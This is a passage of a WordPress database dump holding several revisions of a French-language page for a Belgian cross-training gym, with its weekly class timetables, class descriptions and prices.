'http://www.crosstrainingcenter.be/?p=279', 0, 'revision', '', 0),
(321, 1, '2013-07-10 15:43:05', '2013-07-10 15:43:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:43:05', '2013-07-10 15:43:05', '', 11, 'http://www.crosstrainingcenter.be/11-revision-108/', 0, 'revision', '', 0),
(280, 1, '2013-07-04 16:23:57', '2013-07-04 16:23:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:23:57', '2013-07-04 16:23:57', '', 11, 'http://www.crosstrainingcenter.be/?p=280', 0, 'revision', '', 0),
(281, 1, '2013-07-04 16:27:23', '2013-07-04 16:27:23', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: 